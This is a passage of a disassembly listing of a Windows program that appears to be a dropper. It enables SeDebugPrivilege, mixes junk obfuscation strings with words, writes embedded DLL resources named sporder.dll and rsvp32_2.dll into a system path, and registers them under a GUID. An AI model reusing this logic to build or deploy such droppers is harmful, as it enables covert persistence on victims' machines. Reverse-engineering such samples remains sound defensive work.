fs:0 push eax mov large fs:0, esp sub esp, 10h push esi push edi mov [esp+24h+var_4], 1 call sub_4026E0 mov ecx, [esp+24h+arg_8] mov edx, [esp+24h+arg_4] mov eax, [eax+0Ch] push ecx push edx push eax call dword_401048+10h mov esi, eax test esi, esi jz loc_401F4B call sub_4026E0 mov eax, [eax+0Ch] push esi push eax call dword_401048+0Ch mov edi, eax call sub_4026E0 mov eax, [eax+0Ch] push esi push eax call dword_401048+8 mov esi, eax test esi, esi jz short loc_401F4B lea ecx, [esp+24h+var_1C] call sub_4026DA mov eax, [esp+24h+arg_0] push 0 push 1021h push eax lea ecx, [esp+30h+var_1C] mov byte ptr [esp+30h+var_4], 2 call sub_4026D4 mov edx, [esp+24h+var_1C] push edi push esi lea ecx, [esp+2Ch+var_1C] call dword ptr [edx+40h] lea ecx, [esp+24h+var_1C] call sub_4026CE lea ecx, [esp+24h+var_1C] mov byte ptr [esp+24h+var_4], 1 call sub_4026C8 lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 0 call sub_40268C lea ecx, [esp+24h+arg_8] mov [esp+24h+var_4], 0FFFFFFFFh call sub_40268C pop edi mov eax, 1 pop esi mov ecx, [esp+1Ch+var_C] mov large fs:0, ecx add esp, 1Ch retn 0Ch ; --------------------------------------------------------------------------- loc_401F4B: ; CODE XREF: sub_401E60+3Fj ; sub_401E60+6Bj lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 0 call sub_40268C lea ecx, [esp+24h+arg_8] mov [esp+24h+var_4], 0FFFFFFFFh call sub_40268C mov ecx, [esp+24h+var_C] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 1Ch retn 0Ch sub_401E60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401F80 proc near ; CODE XREF: sub_401D20+35p push 0 call dword ptr loc_40119F+1 push eax call dword ptr loc_4011A3+1 add esp, 8 retn sub_401F80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401FA0 proc near ; CODE XREF: sub_4022F0+212p ; sub_4022F0+260p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push offset aR ; "r" push eax call dword ptr loc_401197+1 add esp, 8 test eax, eax jnz short loc_401FBA retn 4 ; --------------------------------------------------------------------------- loc_401FBA: ; CODE XREF: sub_401FA0+15j push eax call dword ptr loc_401199+3 add esp, 4 mov eax, 1 retn 4 sub_401FA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401FD0 proc near ; CODE XREF: sub_401D20+C0p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 1Ch lea eax, [esp+1Ch+var_1C] push eax push 28h call dword_40102C ; GetCurrentProcess push eax call dword_401000 ; OpenProcessToken test eax, eax jnz short loc_401FEF add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_401FEF: ; CODE XREF: sub_401FD0+19j lea ecx, [esp+1Ch+var_18] push ecx push offset aSedebugprivile ; "SeDebugPrivilege" push 0 call dword_401000+4 test eax, eax jnz short loc_402009 add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_402009: ; CODE XREF: sub_401FD0+33j mov edx, [esp+1Ch+var_18] mov eax, [esp+1Ch+var_14] push 0 push 0 lea ecx, [esp+24h+var_10] mov [esp+24h+var_C], edx mov edx, [esp+24h+var_1C] push 10h push ecx push 0 push edx mov [esp+34h+var_10], 1 mov [esp+34h+var_8], eax mov [esp+34h+var_4], 2 call dword_401000+8 call dword_401048+14h neg eax sbb eax, eax inc eax add esp, 1Ch retn sub_401FD0 endp ; =============== S U B R O U T I N E ======================================= sub_402050 proc near ; CODE XREF: sub_401D20+EAp var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_402050 push eax mov large fs:0, esp lea eax, [esp+0Ch+arg_0] add ecx, 20h push eax mov [esp+10h+var_4], 0 call sub_402692 lea ecx, [esp+0Ch+arg_0] mov [esp+0Ch+var_4], 0FFFFFFFFh call sub_40268C mov ecx, [esp+0Ch+var_C] mov large fs:0, ecx add esp, 0Ch retn 4 sub_402050 endp ; --------------------------------------------------------------------------- align 10h loc_4020A0: ; DATA XREF: _0:off_4013A8o mov eax, dword_401064+98h retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4020B0 proc near ; DATA XREF: _0:00401410o mov eax, offset off_4013A8 retn sub_4020B0 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_402140 loc_4020C0: ; CODE XREF: sub_402140+5j push esi mov esi, ecx push 0 call sub_4027B8 mov dword ptr [esi], offset off_4013E0 mov eax, esi pop esi retn ; END OF FUNCTION CHUNK FOR sub_402140 ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] align 10h loc_402100: ; DATA XREF: _0:004013E4o push esi mov esi, ecx call sub_402120 test byte ptr [esp+8], 1 jz short loc_402118 push esi call sub_4027BE add esp, 4 loc_402118: ; CODE XREF: _0:0040210Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402120 proc near ; CODE XREF: _0:00402103p _0:00402165j jmp sub_4027C4 sub_402120 endp ; --------------------------------------------------------------------------- align 10h loc_402130: ; DATA XREF: _0:004011DCo call sub_402140 jmp loc_402150 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402140 proc near ; CODE XREF: _0:loc_402130p ; FUNCTION CHUNK AT 004020C0 SIZE 00000014 BYTES mov ecx, offset dword_402EE8 jmp loc_4020C0 sub_402140 endp ; --------------------------------------------------------------------------- align 10h loc_402150: ; CODE XREF: _0:00402135j push offset loc_402160 call sub_40283C pop ecx retn ; --------------------------------------------------------------------------- align 10h loc_402160: ; DATA XREF: _0:loc_402150o mov ecx, offset dword_402EE8 jmp sub_402120 ; --------------------------------------------------------------------------- align 10h loc_402170: ; DATA XREF: _0:004011E0o call sub_402180 jmp loc_402190 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402180 proc near ; CODE XREF: _0:loc_402170p push 0 mov ecx, offset dword_402FB0 call sub_401C70 retn sub_402180 endp ; --------------------------------------------------------------------------- align 10h loc_402190: ; CODE XREF: _0:00402175j push offset loc_4021A0 call sub_40283C pop ecx retn ; --------------------------------------------------------------------------- align 10h loc_4021A0: ; DATA XREF: _0:loc_402190o mov ecx, offset dword_402FB0 jmp loc_4021B0 ; --------------------------------------------------------------------------- align 10h loc_4021B0: ; CODE XREF: _0:004021A5j push 0FFFFFFFFh push offset loc_402BA9 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+20h] mov dword ptr [esp+10h], 3 call sub_40268C lea ecx, [esi+1Ch] mov byte ptr [esp+10h], 2 call sub_40268C lea ecx, [esi+18h] mov byte ptr [esp+10h], 1 call sub_40268C lea ecx, [esi+14h] mov byte ptr [esp+10h], 0 call sub_40268C mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_4026B0 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- align 10h loc_402230: ; DATA XREF: _0:004011E4o call sub_402240 jmp loc_402250 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402240 proc near ; CODE XREF: _0:loc_402230p var_120 = byte ptr -120h var_114 = dword ptr -114h var_110 = byte ptr -110h var_FC = dword ptr -0FCh var_F4 = byte ptr -0F4h var_F0 = byte ptr -0F0h var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_30 = dword ptr 34h ; FUNCTION CHUNK AT 00401A20 SIZE 00000223 BYTES mov ecx, offset dword_402FE8 jmp loc_401A20 sub_402240 endp ; --------------------------------------------------------------------------- align 10h loc_402250: ; CODE XREF: _0:00402235j push offset loc_402260 call sub_40283C pop ecx retn ; --------------------------------------------------------------------------- align 10h loc_402260: ; DATA XREF: _0:loc_402250o mov ecx, offset dword_402FE8 jmp loc_402270 ; --------------------------------------------------------------------------- align 10h loc_402270: ; CODE XREF: _0:00402265j push 0FFFFFFFFh push offset loc_402BF4 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+14h] mov dword ptr [esp+10h], 4 call sub_40268C lea ecx, [esi+10h] mov byte ptr [esp+10h], 3 call sub_40268C lea ecx, [esi+0Ch] mov byte ptr [esp+10h], 2 call sub_40268C lea ecx, [esi+8] mov byte ptr [esp+10h], 1 call sub_40268C lea ecx, [esi+4] mov byte ptr [esp+10h], 0 call sub_40268C mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_40268C mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; =============== S U B R O U T I N E ======================================= sub_4022F0 proc near ; DATA XREF: _0:00401438o var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4022F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 3Ch push ebx push esi push offset aNjosphlbmombii ; " njosphlbmombiifgomrkdmdfgr" lea ecx, [esp+54h+var_3C] call sub_4026B6 xor ebx, ebx push offset aEndedIn ; "ended in " lea ecx, [esp+54h+var_40] mov [esp+54h+var_4], ebx call sub_4026B6 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 1 call sub_4027CA lea ecx, [esp+50h+var_40] call sub_4027CA lea ecx, [esp+50h+var_40] mov byte ptr [esp+50h+var_4], bl call sub_40268C or esi, 0FFFFFFFFh lea ecx, [esp+50h+var_3C] mov [esp+50h+var_4], esi call sub_40268C push offset aHsebnfmsqijorf ; " hsebnfmsqijorfjooonckehpdp" lea ecx, [esp+54h+var_40] call sub_4026B6 push offset a1992 ; "1992 " lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 2 call sub_4026B6 lea ecx, [esp+50h+var_40] mov byte ptr [esp+50h+var_4], 3 call sub_4027CA lea ecx, [esp+50h+var_3C] call sub_4027CA lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 2 call sub_40268C lea ecx, [esp+50h+var_40] mov [esp+50h+var_4], esi call sub_40268C push offset aNrlqomhqibqjsq ; " nrlqomhqibqjsqderqpkghlrk" lea ecx, [esp+54h+var_40] call sub_4026B6 push offset aLaboratory ; "Laboratory " lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 4 call sub_4026B6 lea ecx, [esp+50h+var_40] mov byte ptr [esp+50h+var_4], 5 call sub_4027CA lea ecx, [esp+50h+var_3C] call sub_4027CA lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 4 call sub_40268C lea ecx, [esp+50h+var_40] mov [esp+50h+var_4], esi call sub_40268C push offset aGobmccpsmrmggc ; " gobmccpsmrmggcomcenldrg" lea ecx, [esp+54h+var_40] call sub_4026B6 push offset aPersonnel ; "personnel " lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 6 call sub_4026B6 lea ecx, [esp+50h+var_40] mov byte ptr [esp+50h+var_4], 7 call sub_4027CA lea ecx, [esp+50h+var_3C] call sub_4027CA lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 6 call sub_40268C lea ecx, [esp+50h+var_40] mov [esp+50h+var_4], esi call sub_40268C lea ecx, [esp+50h+var_10] call sub_4026A4 push ecx mov [esp+54h+var_4], 8 mov ecx, esp mov [esp+54h+var_38], esp push offset dword_403008 call sub_4026B6 push 1 push 1 push 1 mov ecx, offset dword_402FB0 call sub_401D20 lea eax, [esp+4Ch+var_38] mov ecx, offset dword_402FE8 push eax call sub_402640 push offset aSporder_dll ; "sporder.dll" lea ecx, [esp+50h+var_40] push eax push ecx mov byte ptr [esp+58h], 9 call sub_402698 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0Bh call sub_40268C lea edx, [esp+50h+var_38] mov ecx, offset dword_402FE8 push edx call sub_402640 push offset aRsvp32_2_dll ; "rsvp32_2.dll" push eax lea eax, [esp+58h+var_48] mov byte ptr [esp+58h+var_4], 0Ch push eax call sub_402698 lea ecx, [esp+50h+var_38] mov byte ptr [esp+50h+var_4], 0Eh call sub_40268C mov ecx, [esp+50h+var_44] push ecx mov ecx, offset dword_402FB0 call sub_401FA0 test eax, eax jnz short loc_402546 push ecx mov ecx, esp mov dword ptr [esp+54h+var_40], esp push offset aDll ; "DLL" call sub_4026B6 push 81h push ecx lea edx, [esp+58h+var_40] mov ecx, esp mov dword ptr [esp+58h+var_30], esp push edx mov byte ptr [esp+5Ch], 0Fh call sub_4026AA mov ecx, offset dword_402FB0 mov byte ptr [esp+5Ch+var_4], 0Eh call sub_401E60 loc_402546: ; CODE XREF: sub_4022F0+219j mov eax, [esp+50h+var_48] mov ecx, offset dword_402FB0 push eax call sub_401FA0 test eax, eax jnz short loc_40259C push ecx mov ecx, esp mov dword ptr [esp+54h+var_34], esp push offset aDll ; "DLL" call sub_4026B6 push 83h push ecx lea edx, [esp+60h+var_4C] mov ecx, esp mov [esp+60h+var_44], esp push edx mov byte ptr [esp+64h+var_8], 10h call sub_4026AA mov ecx, offset dword_402FB0 mov byte ptr [esp+58h], 0Eh call sub_401E60 push 64h call dword_401030 ; Sleep loc_40259C: ; CODE XREF: sub_4022F0+267j push offset aRsvp32_2_dll ; "rsvp32_2.dll" mov eax, 6A31F261h sub esp, 10h mov word ptr [esp+64h+var_2C], 0DF30h mov ecx, esp mov word ptr [esp+64h+var_2C+2], 11CFh mov edx, [esp+64h+var_2C] mov byte ptr [esp+64h+var_28], 89h mov [ecx], eax mov byte ptr [esp+64h+var_28+1], 27h mov byte ptr [esp+64h+var_28+2], bl mov byte ptr [esp+64h+var_28+3], 0AAh mov eax, [esp+64h+var_28] mov [ecx+4], edx mov byte ptr [esp+64h+var_24], bl mov byte ptr [esp+64h+var_24+1], 53h mov byte ptr [esp+64h+var_24+2], 9Fh mov byte ptr [esp+64h+var_24+3], 1Ch mov edx, [esp+64h+var_24] mov [ecx+8], eax mov [ecx+0Ch], edx lea ecx, [esp+64h+var_20] call sub_4017D0 lea ecx, [esp+50h+var_48] mov byte ptr [esp+50h+var_4], 0Bh call sub_40268C lea ecx, [esp+50h+var_44] mov byte ptr [esp+50h+var_4], 8 call sub_40268C lea ecx, [esp+50h+var_10] mov [esp+50h+var_4], esi call sub_40268C mov ecx, [esp+50h+var_C] pop esi xor eax, eax mov large fs:0, ecx pop ebx add esp, 48h retn sub_4022F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402640 proc near ; CODE XREF: sub_4022F0+1AEp ; sub_4022F0+1E0p var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push esi mov esi, [esp+8+arg_0] add ecx, 8 push offset asc_4012C8 ; "\\" push ecx push esi mov [esp+14h+var_4], 0 call sub_402698 mov eax, esi pop esi pop ecx retn 4 sub_402640 endp ; --------------------------------------------------------------------------- align 10h loc_402670: ; CODE XREF: _0:00402C43j add ecx, 10h jmp sub_40268C ; --------------------------------------------------------------------------- align 10h jmp dword_401104+44h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402686 proc near ; CODE XREF: sub_4017D0+54p ; sub_402240-75Ep ... jmp dword_401104+3Ch sub_402686 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40268C proc near ; CODE XREF: sub_402240-628p ; sub_401D20+116p ... jmp dword_401104+38h sub_40268C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402692 proc near ; CODE XREF: sub_402240-639p ; sub_402050+25p jmp dword_401104+34h sub_402692 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402698 proc near ; CODE XREF: sub_402240-64Ap ; sub_4022F0+1C3p ... jmp dword_401104+30h sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40269E proc near ; CODE XREF: sub_402240-677p ; sub_402240-670p ... jmp dword_401104+2Ch sub_40269E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026A4 proc near ; CODE XREF: sub_402240-7FBp ; sub_402240-7E8p ... jmp dword_401104+28h sub_4026A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026AA proc near ; CODE XREF: sub_401D20+E3p ; sub_4022F0+242p ... jmp dword_401104+24h sub_4026AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026B0 proc near ; CODE XREF: _0:0040220Ep _0:00402AD3j ... jmp dword_401104+20h sub_4026B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026B6 proc near ; CODE XREF: sub_401C70+80p ; sub_4022F0+23p ... jmp dword_401104+1Ch sub_4026B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026BC proc near ; CODE XREF: sub_401C70+1Ep jmp dword_401104+18h sub_4026BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026C2 proc near ; CODE XREF: sub_401D20+98p jmp dword_401104+14h sub_4026C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026C8 proc near ; CODE XREF: sub_401E60+AFp ; _0:00402B43j jmp dword_401104+10h sub_4026C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026CE proc near ; CODE XREF: sub_401E60+A1p jmp dword_401104+0Ch sub_4026CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026D4 proc near ; CODE XREF: sub_401E60+8Bp jmp dword_401104+8 sub_4026D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026DA proc near ; CODE XREF: sub_401E60+71p jmp dword_401104+4 sub_4026DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026E0 proc near ; CODE XREF: sub_401E60+22p ; sub_401E60+45p ... jmp dword_401104 sub_4026E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026E6 proc near ; DATA XREF: _0:00401480o jmp dword_401064+4Ch sub_4026E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026EC proc near ; DATA XREF: _0:0040147Co jmp dword_401064 sub_4026EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026F2 proc near ; DATA XREF: _0:00401478o jmp dword_401064+4 sub_4026F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026F8 proc near ; DATA XREF: _0:00401474o jmp dword_401064+8 sub_4026F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4026FE proc near ; DATA XREF: _0:00401470o jmp dword_401064+0Ch sub_4026FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402704 proc near ; DATA XREF: _0:0040146Co jmp dword_401064+10h sub_402704 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40270A proc near ; DATA XREF: _0:00401468o jmp dword_401064+14h sub_40270A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402710 proc near ; DATA XREF: _0:00401464o jmp dword_401064+18h sub_402710 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402716 proc near ; DATA XREF: _0:00401460o jmp dword_401064+1Ch sub_402716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40271C proc near ; DATA XREF: _0:0040145Co jmp dword_401064+20h sub_40271C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402722 proc near ; DATA XREF: _0:00401458o jmp dword_401064+24h sub_402722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402728 proc near ; DATA XREF: _0:00401454o jmp dword_401064+28h sub_402728 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40272E proc near ; DATA XREF: _0:00401450o jmp dword_401064+2Ch sub_40272E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402734 proc near ; DATA XREF: _0:0040144Co jmp dword_401064+30h sub_402734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40273A proc near ; DATA XREF: _0:00401448o jmp dword_401064+34h sub_40273A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402740 proc near ; DATA XREF: _0:00401444o jmp dword_401064+38h sub_402740 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402746 proc near ; DATA XREF: _0:00401440o jmp dword_401064+3Ch sub_402746 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40274C proc near ; DATA XREF: _0:0040143Co jmp dword_401064+40h sub_40274C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402752 proc near ; DATA XREF: _0:00401434o jmp dword_401064+44h sub_402752 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402758 proc near ; DATA XREF: _0:00401430o jmp dword_401064+48h sub_402758 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40275E proc near ; DATA XREF: _0:0040142Co jmp dword_401104+40h sub_40275E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402764 proc near ; DATA XREF: _0:00401428o jmp dword_401064+50h sub_402764 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40276A proc near ; DATA XREF: _0:00401424o jmp dword_401064+54h sub_40276A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402770 proc near ; DATA XREF: _0:00401420o jmp dword_401064+58h sub_402770 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402776 proc near ; DATA XREF: _0:0040141Co jmp dword_401064+5Ch sub_402776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40277C proc near ; DATA XREF: _0:00401418o jmp dword_401064+60h sub_40277C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402782 proc near ; DATA XREF: _0:00401414o jmp dword_401064+64h sub_402782 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402788 proc near ; DATA XREF: _0:0040140Co jmp dword_401064+68h sub_402788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40278E proc near ; DATA XREF: _0:00401408o jmp dword_401064+6Ch sub_40278E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402794 proc near ; DATA XREF: _0:00401404o jmp dword_401064+70h sub_402794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40279A proc near ; DATA XREF: _0:00401400o jmp dword_401064+74h sub_40279A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4027A0 proc near ; DATA XREF: _0:004013FCo jmp dword_401064+78h sub_4027A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4027A6 proc near ; DATA XREF: _0:004013F8o jmp dword_401064+7Ch sub_4027A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4027AC proc near ; DATA XREF: _0:004013F4o jmp dword_401064+80h sub_4027AC endp ; --------------------------------------------------------------------------- loc_4027B2: ; DATA XREF: _0:off_4013E0o jmp dword_401064+84h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4027B8 proc near ; CODE XREF: sub_402140-7Bp jmp dword_401064+88h sub_4027B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4027BE proc near ; CODE XREF: _0:00402110p jmp dword_401064+8Ch sub_4027BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4027C4 proc near ; CODE XREF: sub_402120j jmp dword_401064+90h sub_4027C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4027CA proc near ; CODE XREF: sub_4022F0+45p ; sub_4022F0+4Ep ... jmp dword_401064+94h sub_4027CA endp ; =============== S U B R O U T I N E ======================================= sub_4027D0 proc near ; CODE XREF: sub_4014F0+EAp ; sub_401630+144p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4027F0 loc_4027DC: ; CODE XREF: sub_4027D0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4027DC loc_4027F0: ; CODE XREF: sub_4027D0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4027D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402800 proc near ; CODE XREF: _0:00402ABCj ; SEH_401C70+5j ... jmp dword ptr loc_4011A8 sub_402800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402810 proc near ; CODE XREF: sub_40283C+4p arg_0 = dword ptr 4 cmp dword_403030, 0FFFFFFFFh jnz short loc_402825 push [esp+arg_0] call dword ptr loc_401190 pop ecx retn ; --------------------------------------------------------------------------- loc_402825: ; CODE XREF: sub_402810+7j push offset dword_40302C push offset dword_403030 push [esp+8+arg_0] call sub_4029AC add esp, 0Ch retn sub_402810 endp ; =============== S U B R O U T I N E ======================================= sub_40283C proc near ; CODE XREF: _0:00402155p _0:00402195p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_402810 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_40283C endp ; --------------------------------------------------------------------------- loc_40284E: ; CODE XREF: _1:0040E2C4j push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_401488 push offset sub_4029D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 68h push ebx push esi push edi mov [ebp-18h], esp xor ebx, ebx mov [ebp-4], ebx push 2 call dword_401158 ; __set_app_type pop ecx or dword_40302C, 0FFFFFFFFh or dword_403030, 0FFFFFFFFh call dword_40115C ; __p__fmode mov ecx, dword_403020 mov [eax], ecx call dword_401160 ; __p__commode mov ecx, dword_40301C mov [eax], ecx mov eax, dword_401164 mov eax, [eax] mov dword_403028, eax call nullsub_1 cmp dword_4013A0, ebx jnz short loc_4028D1 push offset sub_4029D0 call dword_401168 ; __setusermatherr pop ecx loc_4028D1: ; CODE XREF: _0:004028C3j call sub_4029BE push offset dword_4011F0 push offset byte_4011EC call sub_4029B8 ; _initterm mov eax, dword_403018 mov [ebp-6Ch], eax lea eax, [ebp-6Ch] push eax push dword_403014 lea eax, [ebp-64h] push eax lea eax, [ebp-70h] push eax lea eax, [ebp-60h] push eax call dword_401170 ; __getmainargs push offset dword_4011E8 push offset byte_4011D4 call sub_4029B8 ; _initterm add esp, 24h mov eax, dword_401174 mov esi, [eax] mov [ebp-74h], esi cmp byte ptr [esi], 22h jnz short loc_402964 loc_40292A: ; CODE XREF: _0:00402936j inc esi mov [ebp-74h], esi mov al, [esi] cmp al, bl jz short loc_402938 cmp al, 22h jnz short loc_40292A loc_402938: ; CODE XREF: _0:00402932j cmp byte ptr [esi], 22h jnz short loc_402941 loc_40293D: ; CODE XREF: _0:00402949j inc esi mov [ebp-74h], esi loc_402941: ; CODE XREF: _0:0040293Bj _0:00402967j mov al, [esi] cmp al, bl jz short loc_40294B cmp al, 20h jbe short loc_40293D loc_40294B: ; CODE XREF: _0:00402945j mov [ebp-30h], ebx lea eax, [ebp-5Ch] push eax call dword_401034 ; GetStartupInfoA test byte ptr [ebp-30h], 1 jz short loc_40296F movzx eax, word ptr [ebp-2Ch] jmp short loc_402972 ; --------------------------------------------------------------------------- loc_402964: ; CODE XREF: _0:00402928j _0:0040296Dj cmp byte ptr [esi], 20h jbe short loc_402941 inc esi mov [ebp-74h], esi jmp short loc_402964 ; --------------------------------------------------------------------------- loc_40296F: ; CODE XREF: _0:0040295Cj push 0Ah pop eax loc_402972: ; CODE XREF: _0:00402962j push eax push esi push ebx push ebx call off_401044 push eax call sub_4029EC mov [ebp-68h], eax push eax call dword_401178 ; exit mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-78h], ecx push eax push ecx call sub_4029B2 ; _XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-78h] call dword_401180 ; _exit ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4029AC proc near ; CODE XREF: sub_402810+23p jmp dword ptr loc_401193+1 sub_4029AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4029B2 proc near ; CODE XREF: _0:00402998p jmp dword_40117C sub_4029B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4029B8 proc near ; CODE XREF: _0:004028E0p _0:00402913p jmp dword_40116C sub_4029B8 endp ; =============== S U B R O U T I N E ======================================= sub_4029BE proc near ; CODE XREF: _0:loc_4028D1p push 30000h push 10000h call sub_4029DA ; _controlfp pop ecx pop ecx retn sub_4029BE endp ; =============== S U B R O U 